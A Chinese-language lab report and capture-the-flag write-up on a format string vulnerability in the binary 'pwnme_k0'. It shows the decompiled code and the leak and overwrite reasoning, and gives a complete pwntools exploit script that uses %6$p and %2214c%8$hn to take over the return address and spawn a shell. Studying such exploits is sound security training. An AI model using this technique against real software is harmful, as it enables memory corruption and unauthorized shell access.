格式化字符串漏洞

实验目的

掌握格式化字符串漏洞的原理以及在漏洞利用中的应用。

步骤

  1. 运行程序,大概走一遍流程

  2. 首先,程序接受最大 20 字节长的 “用户名” 和 “密码” 传入,注册成功后,会有三个选项:查看信息,修改信息和退出。

  3. 用 ida 打开程序,搜索相关标志,发现程序首先调用了 sub_4008BB(),它输出了我们看到的 banner,并冲洗了标准输出(通过调用 fflush(stdout))。

  4. sub4008bb 跟回到 main 函数,发现接下来是一个 “注册” 过程,由 sub_400903 函数负责。

    sub_400903
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    unsigned __int8 v12; // [rsp+1Fh] [rbp-1h]

    puts("Register Account first!");
    puts("Input your username(max lenth:20): ");
    fflush(stdout);
    v12 = read(0, &bufa, 0x14uLL);
    if ( v12 && v12 <= 0x14u )
    {
    puts("Input your password(max lenth:20): ");
    fflush(stdout);
    read(0, (char *)&a9 + 4, 0x14uLL);
    fflush(stdout);
    *(_QWORD *)buf = bufa;
    *(_QWORD *)(buf + 8) = a8;
    *(_QWORD *)(buf + 16) = a9;
    *(_QWORD *)(buf + 24) = a10;
    *(_QWORD *)(buf + 32) = a11;
    }
    else
    {
    LOBYTE(bufa) = 48;
    puts("error length(username)!try again");
    fflush(stdout);
    *(_QWORD *)buf = bufa;
    *(_QWORD *)(buf + 8) = a8;
    *(_QWORD *)(buf + 16) = a9;
    *(_QWORD *)(buf + 24) = a10;
    *(_QWORD *)(buf + 32) = a11;
    }
    return buf;

    使用 read 函数只将 20 字节数据读入,除此以外,所有的 putsread 后都跟着一个 fflush,强行冲洗缓冲区。看来,缓冲区的毛病应该利用不上了。

  5. 接下来是 sub_400d2b 函数,这是程序的后半部分 —— 选择输出、修改信息或退出程序。

    sub_400d2b
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    while ( 1 )
    {
    v8 = sub_400A75();
    switch ( v8 )
    {
    case 2:
    sub_400B41((__int64)&sa, 0LL, v9, v10, v11);
    break;
    case 3:
    return sub_400D1A(v7, 0LL);
    case 1:
    sub_400B07((char)v7, 0, v9, v10, v11, v12);
    break;
    default:
    puts("error options");
    fflush(stdout);
    break;
    }
    v7 = stdout;
    fflush(stdout);
    }
    • 其中 sub_400a75 输出了三个选项的内容
      sub_400a75
      1
      2
      3
      puts("1.Sh0w Account Infomation!");
      puts("2.Ed1t Account Inf0mation!");
      puts("3.QUit sangebaimao:(");
    • sub_400b41(选择 2)修改已注册用户名的信息
      sub_400b41
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      puts("please input new username(max lenth:20): ");
      fflush(stdout);
      v15 = read(0, &buf, 0x12CuLL);
      if ( v15 <= 0 || v15 > 20 )
      {
      puts("len error(max lenth:20)!try again..");
      fflush(stdout);
      *(_QWORD *)s = sa;
      *(_QWORD *)(s + 8) = a8;
      *(_QWORD *)(s + 16) = desta;
      *(_QWORD *)(s + 24) = a10;
      *(_QWORD *)(s + 32) = a11;
      }
      else
      {
      memset(&sa, 0, 0x14uLL);
      strcpy((char *)&sa, &buf);
      puts("please input new password(max lenth:20): ");
      fflush(stdout);
      v14 = read(0, &src, 0x12CuLL);
      if ( v14 && v14 <= 0x14u )
      {
      memset((char *)&desta + 4, 0, 0x14uLL);
      sub_400AE5(&src, 0LL);
      memcpy((char *)&desta + 4, &src, v14);
      fflush(stdout);
      *(_QWORD *)s = sa;
      *(_QWORD *)(s + 8) = a8;
      *(_QWORD *)(s + 16) = desta;
      *(_QWORD *)(s + 24) = a10;
      *(_QWORD *)(s + 32) = a11;
      }
      else
      {
      puts("len error(max lenth:10)!try again..");
      fflush(stdout);
      *(_QWORD *)s = sa;
      *(_QWORD *)(s + 8) = a8;
      *(_QWORD *)(s + 16) = desta;
      *(_QWORD *)(s + 24) = a10;
      *(_QWORD *)(s + 32) = a11;
      }
      }
    • sub_400D1A(选择 3)输出了退出信息
    • sub_400B07(选择 1)输出了用户的信息
      sub_400b07
      1
      2
      3
      write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);
      printf(&formata, "Welc0me to sangebaimao!\n");
      return printf((const char *)&a9 + 4);
      • 显然此处存在格式化字符串漏洞,在输出用户名和密码时都使用了 printf(buf) 的格式。
  6. 确定保护

    checksec --file pwnme_k0
    • 本题开启了 RELRO 保护,将不能对 GOT 表进行写操作,但可以通过覆写返回地址获取 shell。采用的思路是:先泄露出返回地址字段的位置,然后利用 %n 实现覆写。
  7. 开始利用

    • 4008a6 处找到了 /bin/sh 字符串,结合下方的 call system,这里实现了一个完整的 system('/bin/sh'),因此只要把返回地址写成这个地址就可以了。

    • 那么,返回地址在哪里呢?就从那个有漏洞的 sub_400b07 下手。

  8. 0x400b28printf 上下断点

  9. call 0x400770 应该是 printf 的地址,stack 中,栈顶是 rbp,第二个是返回地址 0x400d74,第三个是代表用户名的字符串 aaaprintf 的参数。又因为 64 位系统中,函数前六个参数分别放在寄存器 RDI,RSI,RDX,RCX,R8 和 R9 上,除了存放格式化字符串的 rdi 参数,栈顶元素应该在第 5+1=6 个位置上(越过 R9)。从 rbp 的输出可以计算出返回地址偏移为 0x7fffffffddc0-0x7fffffffdd80+8 (64 位系统的一个存储块为 8 个字节)=0x48。设置 username%6$p 即可获取栈顶元素内容,减掉偏移 0x48 得到返回地址在栈中位置

  10. 下一步修改,需要利用 edit 函数将 username 修改为返回地址在栈中的地址,password 修改为用于攻击的格式化字符串。username 是格式化字符串的第 8 个参数,通过 %8$hn 向第 8 个参数所指向的位置中写入 0x08a6(十进制为 2214) 两个字节实现对返回地址的覆写

  11. 最终利用 payload 如下所示,为方便理解,对于一些操作做了封装。

    payload.py
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
       from pwn import *
    context.log_level='debug'
    p = process('./pwnme_k0')

    def register(username,password):
    p.recvuntil("Input your username(max lenth:20):")
    p.sendline(username)
    p.recvuntil("Input your password(max lenth:20):")
    p.sendline(password)

    def show():
    p.recvuntil(">")
    p.sendline('1')

    def edit(username,password):
    p.recvuntil(">")
    p.sendline('2')
    p.recvuntil("please input new username(max lenth:20):")
    p.sendline(username)
    p.recvuntil("please input new password(max lenth:20):")
    p.sendline(password)

    def quit():
    p.recvuntil(">")
    p.sendline('3')

    def solve(debugs=(True,True)):
    # return-addr:0x400d74 -> system:0x4008a6
    # libc = ELF('libc.so')
    debug1,debug2=debugs
    register("%6$p","bbb")
    offset = 0x7fffffffddc0 - 0x7fffffffdd80 + 8
    show()
    stack_top = int(p.recvline()[2:14],16)
    return_addr = stack_top-offset
    print "[*]stack top:0x%x"%stack_top
    print "[*]offset:0x%x"%offset
    print "[*]return_addr in stack:0x%x"%return_addr
    if debug1:
    gdb.attach(p,'b *0x400b28')
    quit()
    else:
    edit(username=p64(return_addr),password="%2214c%8$hn")
    # 2114 is the decimal value of 0x08a6
    if debug2:
    gdb.attach(p,'b *0x400b28')
    else:
    show()
    p.interactive()

    if __name__ == '__main__':
    solve(debugs=(False,False))

实验难点与收获

本次实验的难点在于漏洞的利用,如何构造出 “致命” 的格式化字符串是最难的地方。格式化字符串漏洞的利用点不难分析,它利用了 printf 的格式化字符与参数数量不匹配的毛病,泄露内存地址,从而计算出一些信息。类似于 printf(buf) 的形式很容易输出程序地址信息,更可能引起内存覆写。

%n 是格式化字符串漏洞的关键,它完成了将所输入的内容直接写入内存地址空间的操作。基本上可以说是 pwn 中 getshell 前的最后一步。

在写漏洞利用脚本时需要注意各种小问题,比如不可直接书写地址,地址的大小端,数据的进制,recvrecvline 的区别等。经过几轮调试后,终于写成了可以用的脚本。

实验思考

上述脚本中,“向第 8 个参数所指向的位置写东西” 使用的格式化字符为 %8$hn,而课件上和课上讲的是 $hhn,这两个有什么区别?

%$hn 表示写入的地址空间为 2 字节,%$hhn 表示写入的地址空间为 1 字节,%$lln 表示写入的地址空间为 8 字节,在 32bit 和 64bit 环境下一样。有时,直接写 4 字节 %n 会导致程序崩溃或等候时间过长,可以通过 %$hn%$hhn 来适时调整。